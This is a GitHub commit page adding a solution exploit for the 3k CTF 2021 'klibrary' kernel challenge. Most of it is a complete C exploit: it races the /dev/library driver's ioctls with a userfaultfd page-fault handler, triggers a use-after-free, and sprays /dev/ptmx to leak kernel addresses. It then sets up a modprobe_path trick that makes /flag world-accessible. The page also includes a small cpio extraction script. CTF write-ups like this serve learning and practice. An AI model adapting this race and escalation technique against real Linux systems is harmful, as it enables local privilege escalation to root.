Skip to content

Commit 3ed7c9b

Browse files
committed
3k ctf klibrary init exploit
1 parent 75caf29 commit 3ed7c9b

File tree

8 files changed

+615
-0
lines changed

8 files changed

+615
-0
lines changed

.gitignore

+2
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
11
initramfs/
22
initramfs.cpio
33
exploit
4+
vmlinux-to-elf/
5+
vmlinux_sym

ctf/3k-2021-klibrary/bzImage

1.43 MB
Binary file not shown.

ctf/3k-2021-klibrary/exploit.c

+269
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,269 @@
1+
/*
2+
* author: @meowmeowxw
3+
*/
4+
#include <fcntl.h>
5+
#include <stdint.h>
6+
#include <stdio.h>
7+
#include <stdlib.h>
8+
#include <string.h>
9+
#include <inttypes.h>
10+
#include <sys/ioctl.h>
11+
#include <sys/msg.h>
12+
#include <sys/shm.h>
13+
#include <sys/stat.h>
14+
#include <sys/syscall.h>
15+
#include <sys/socket.h>
16+
#include <sys/types.h>
17+
#include <linux/userfaultfd.h>
18+
#include <sys/resource.h>
19+
#include <pthread.h>
20+
#include <sys/mman.h>
21+
#include <poll.h>
22+
#include <time.h>
23+
#include <unistd.h>
24+
25+
#define DEVICE_NAME "/dev/library"
26+
27+
#define BOOK_DESCRIPTION_SIZE 0x300
28+
29+
#define CMD_ADD 0x3000
30+
#define CMD_REMOVE 0x3001
31+
#define CMD_REMOVE_ALL 0x3002
32+
#define CMD_ADD_DESC 0x3003
33+
#define CMD_GET_DESC 0x3004
34+
35+
#define PAGESIZE 0x1000
36+
#define BUFFER_SIZE 32
37+
#define LEAK_OFFSET 0xd92f0
38+
#define MODPROBE_PATH_OFFSET 0xa3f7e0
39+
40+
int ioctl_add(uint64_t id);
41+
int ioctl_remove(uint64_t id);
42+
int ioctl_add_desc(uint64_t id, uint8_t *buffer);
43+
int ioctl_get_desc(uint64_t id, uint8_t *buffer);
44+
int ioctl_remove_all();
45+
void leak_heap();
46+
void *race_userfault(void (*func)());
47+
int userfaultfd(int flags);
48+
int register_ufd(uint64_t page);
49+
void print_leak(uint64_t *ptr, int size);
50+
51+
typedef struct {
52+
uint64_t index;
53+
uint8_t *ptr;
54+
} request_t;
55+
56+
uint64_t func_leak = 0x0L,
57+
kbase = 0x0L,
58+
modprobe_path = 0x0L,
59+
heap_leak = 0x0L;
60+
int fd, ufd, ret;
61+
uint64_t uf_page, leak[BOOK_DESCRIPTION_SIZE];
62+
63+
int main(int argc, char **argv) {
64+
uint8_t *buf = calloc(BOOK_DESCRIPTION_SIZE, 1);
65+
pthread_t th;
66+
67+
fd = open(DEVICE_NAME, O_RDONLY);
68+
printf("fd: %d\n", fd);
69+
70+
ioctl_add(0);
71+
72+
ufd = register_ufd(0xaaa000);
73+
printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page);
74+
75+
pthread_create(&th, NULL, (void *)race_userfault, leak_heap);
76+
77+
ioctl_get_desc(0, (uint8_t *)0xaaa000);
78+
79+
kbase = leak[66] - 0x14fc00;
80+
printf("\n");
81+
printf("[*] kbase: 0x%016lx\n", kbase);
82+
printf("[*] modprobe_path: 0x%016lx\n", modprobe_path);
83+
printf("[*] heap_leak: 0x%016lx\n", heap_leak);
84+
85+
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/bho");
86+
system("chmod +x /home/ctf/bho");
87+
system("echo -ne '#!/bin/sh\nchmod 777 /flag' > /home/ctf/a\n");
88+
system("chmod +x /home/ctf/a");
89+
system("/home/ctf/bho");
90+
91+
return 0;
92+
}
93+
94+
int ioctl_add(uint64_t id) {
95+
request_t arg = {
96+
.index = id,
97+
.ptr = NULL
98+
};
99+
printf("[*] ioctl_add[%ld]\n", id);
100+
ret = ioctl(fd, CMD_ADD, &arg);
101+
if (ret != 0) {
102+
printf("[!] ioctl_add ret: %d\t id: %ld\n", ret, id);
103+
}
104+
return 0;
105+
}
106+
107+
int ioctl_remove(uint64_t id) {
108+
request_t arg = {
109+
.index = id,
110+
.ptr = NULL
111+
};
112+
printf("[*] ioctl_remove[%ld]\n", id);
113+
ret = ioctl(fd, CMD_REMOVE, &id);
114+
if (ret != 0) {
115+
printf("[!] ioctl_remove ret: %d\t id: %ld\n", ret, id);
116+
}
117+
return 0;
118+
}
119+
120+
int ioctl_add_desc(uint64_t id, uint8_t *buffer) {
121+
request_t arg = {
122+
.index = id,
123+
.ptr = buffer
124+
};
125+
printf("[*] ioctl_add_desc[%ld]\n", id);
126+
ret = ioctl(fd, CMD_ADD_DESC, &arg);
127+
if (ret != 0) {
128+
printf("[!] ioctl_add_desc ret: %d\t id: %ld\n", ret, id);
129+
}
130+
return 0;
131+
}
132+
133+
int ioctl_get_desc(uint64_t id, uint8_t *buffer) {
134+
// memset(buffer, 0, BOOK_DESCRIPTION_SIZE);
135+
request_t arg = {
136+
.index = id,
137+
.ptr = buffer
138+
};
139+
printf("[*] ioctl_get_desc[%ld]\n", id);
140+
ret = ioctl(fd, CMD_GET_DESC, &arg);
141+
if (ret != 0) {
142+
printf("[!] ioctl_get_desc ret: %d\t id: %ld\n", ret, id);
143+
}
144+
memcpy(leak, buffer, BOOK_DESCRIPTION_SIZE);
145+
print_leak(leak, BOOK_DESCRIPTION_SIZE);
146+
return 0;
147+
}
148+
149+
int ioctl_remove_all() {
150+
request_t arg = {
151+
.index = 0xffffff,
152+
.ptr = NULL
153+
};
154+
printf("[*] ioctl_remove_all\n");
155+
ret = ioctl(fd, CMD_REMOVE_ALL, &arg);
156+
if (ret != 0) {
157+
printf("[!] ioctl_remove_all ret: %d\n", ret);
158+
}
159+
return 0;
160+
}
161+
162+
void print_leak(uint64_t *ptr, int size) {
163+
for (int i = 0; i < size / 8; i++) {
164+
printf("0x%016lx\t", ptr[i]);
165+
if (!((i + 1) % 2)) {
166+
printf("\n");
167+
}
168+
}
169+
printf("\n");
170+
}
171+
172+
int register_ufd(uint64_t page) {
173+
int fd = 0;
174+
int memsize = 0x1000;
175+
uf_page = page;
176+
struct uffdio_api api = { .api = UFFD_API };
177+
178+
uf_page = (uint64_t)mmap((void *)uf_page, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
179+
if ((void *)uf_page == MAP_FAILED) {
180+
perror("mmap uf_page");
181+
exit(2);
182+
}
183+
184+
if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
185+
fprintf(stderr, "++ userfaultfd failed: %m\n");
186+
exit(-1);
187+
}
188+
189+
if (ioctl(fd, UFFDIO_API, &api)) {
190+
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
191+
exit(-1);
192+
}
193+
if (api.api != UFFD_API) {
194+
fprintf(stderr, "++ unexepcted UFFD api version.\n");
195+
exit(-1);
196+
}
197+
198+
/* mmap some pages, set them up with the userfaultfd. */
199+
struct uffdio_register reg = {
200+
.mode = UFFDIO_REGISTER_MODE_MISSING,
201+
.range = {
202+
.start = uf_page,
203+
.len = memsize
204+
}
205+
};
206+
207+
if (ioctl(fd, UFFDIO_REGISTER, &reg) == -1) {
208+
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
209+
exit(-1);
210+
}
211+
212+
return fd;
213+
}
214+
215+
void *race_userfault(void (*func)()) {
216+
char uf_buffer[0x1000];
217+
struct pollfd evt = { .fd = ufd, .events = POLLIN };
218+
219+
while (poll(&evt, 1, -1) > 0) {
220+
/* unexpected poll events */
221+
if (evt.revents & POLLERR) {
222+
perror("poll");
223+
exit(-1);
224+
} else if (evt.revents & POLLHUP) {
225+
perror("pollhup");
226+
exit(-1);
227+
}
228+
struct uffd_msg fault_msg = {0};
229+
if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) {
230+
perror("read");
231+
exit(-1);
232+
}
233+
char *place = (char *)fault_msg.arg.pagefault.address;
234+
if (fault_msg.event != UFFD_EVENT_PAGEFAULT
235+
|| (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) {
236+
fprintf(stderr, "unexpected pagefault?.\n");
237+
exit(-1);
238+
}
239+
if (place == (void *)uf_page) {
240+
printf("[+] got page fault at address %p, nice!\n", place);
241+
printf("[!] call whatever I want\n");
242+
func();
243+
printf("[*] done! now releasing ufd to finish exit\n");
244+
245+
/* release by copying some data to faulting address */
246+
struct uffdio_copy copy = {
247+
.dst = (long) place,
248+
.src = (long) uf_buffer,
249+
.len = PAGESIZE
250+
};
251+
if (ioctl(ufd, UFFDIO_COPY, &copy) < 0) {
252+
perror("ioctl(UFFDIO_COPY)");
253+
exit(-1);
254+
}
255+
break;
256+
}
257+
}
258+
close(ufd);
259+
return NULL;
260+
}
261+
262+
int userfaultfd(int flags) {
263+
return syscall(SYS_userfaultfd, flags);
264+
}
265+
266+
void leak_heap() {
267+
ioctl_remove_all();
268+
open("/dev/ptmx", O_RDWR | O_NOCTTY);
269+
}

ctf/3k-2021-klibrary/extract.sh

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/bin/sh
2+
3+
mkdir initramfs
4+
cd initramfs
5+
cpio -i < ../initramfs

ctf/3k-2021-klibrary/initramfs.cpio

1000 KB
Binary file not shown.

0 commit comments

Comments
 (0)